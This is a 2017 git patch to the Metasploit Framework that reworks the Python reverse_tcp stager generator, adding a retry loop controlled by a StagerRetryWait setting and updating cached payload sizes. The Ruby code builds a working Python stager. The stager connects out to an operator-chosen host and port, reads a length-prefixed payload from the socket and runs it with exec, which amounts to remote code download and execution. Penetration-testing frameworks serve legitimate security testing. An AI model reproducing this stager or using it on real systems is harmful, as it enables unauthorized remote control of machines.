From cd73bd137a14b5ff5e646aa15ad0436054a7e00b Mon Sep 17 00:00:00 2001
From: itsmeroy2012 <royindraroy12@gmail.com>
Date: Thu, 27 Apr 2017 11:50:13 +0530
Subject: [PATCH] Making use of while loop and solving StagerRetryWait issue

---
 lib/msf/core/payload/python/reverse_tcp.rb    | 40 +++++++++++--------
 .../payloads/stagers/python/reverse_tcp.rb    |  2 +-
 .../stagers/python/reverse_tcp_uuid.rb        |  2 +-
 3 files changed, 25 insertions(+), 19 deletions(-)

diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb
index 1b5db5be7c..29421851ce 100644
--- a/lib/msf/core/payload/python/reverse_tcp.rb
+++ b/lib/msf/core/payload/python/reverse_tcp.rb
@@ -44,24 +44,30 @@ module Payload::Python::ReverseTcp
 
   def generate_reverse_tcp(opts={})
     # Set up the socket
-    cmd  = "import socket,struct\n"
-    cmd << "import time\n"
-    cmd << "def connect():\n"
-    cmd << "\ttry:\n"
-    cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
-    cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+    cmd  = "import socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
+    if datastore['StagerRetryWait'].blank? # do not retry at all (old style)
+      cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
+      cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+    else
+      cmd << "while 1:\n"
+      cmd << "\ttry:\n"
+      cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
+      cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+      cmd << "\t\tbreak\n"
+      cmd << "\texcept:\n"
+      if datastore['StagerRetryWait'].to_i <= 0
+        cmd << "\t\tpass\n" # retry immediately
+      else
+        cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting
+      end
+    end
     cmd << py_send_uuid if include_send_uuid
-    cmd << "\t\tl=struct.unpack('>I',s.recv(4))[0]\n"
-    cmd << "\t\td=s.recv(l)\n"
-    cmd << "\t\twhile len(d)<l:\n"
-    cmd << "\t\t\td+=s.recv(l-len(d))\n"
-    cmd << "\t\texec(d,{'s':s})\n"
-    cmd << "\texcept Exception:\n"
-    cmd << "\t\t\ttime.sleep(#{opts[:retry_wait]})\n"
-    cmd << "\t\t\tconnect()\n"
-    cmd << "connect()\n"
-    
-
+    cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
+    cmd << "d=s.recv(l)\n"
+    cmd << "while len(d)<l:\n"
+    cmd << "\td+=s.recv(l-len(d))\n"
+    cmd << "exec(d,{'s':s})\n"
+            
     py_create_exec_stub(cmd)
   end
 
diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb
index f98c4f0e59..367b3c8693 100644
--- a/modules/payloads/stagers/python/reverse_tcp.rb
+++ b/modules/payloads/stagers/python/reverse_tcp.rb
@@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 502
+  CachedSize = 362
 
   include Msf::Payload::Stager
   include Msf::Payload::Python::ReverseTcp
diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb
index f2024d2093..55d36cde14 100644
--- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb
+++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb
@@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 606
+  CachedSize = 466
 
   include Msf::Payload::Stager
   include Msf::Payload::Python